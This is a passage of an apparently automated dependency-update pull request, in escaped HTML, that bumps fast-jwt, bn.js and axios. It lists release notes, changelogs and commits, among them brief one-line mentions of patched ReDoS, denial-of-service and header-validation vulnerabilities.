view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 6.1.0 to 6.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `bn.js` from 4.12.2 to 4.12.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/indutny/bn.js/commit/39fe4389c773327ed15f29f77f8b7dbbff4beb4c\"\u003e\u003ccode\u003e39fe438\u003c/code\u003e\u003c/a\u003e 4.12.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/indutny/bn.js/commit/67ecb35dabaf252001b649c12d69c4b57deac6f6\"\u003e\u003ccode\u003e67ecb35\u003c/code\u003e\u003c/a\u003e backport(4.x): fix imaskn state (\u003ca href=\"https://redirect.github.com/indutny/bn.js/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/indutny/bn.js/compare/v4.12.2...v4.12.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `axios` from 1.6.7 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to 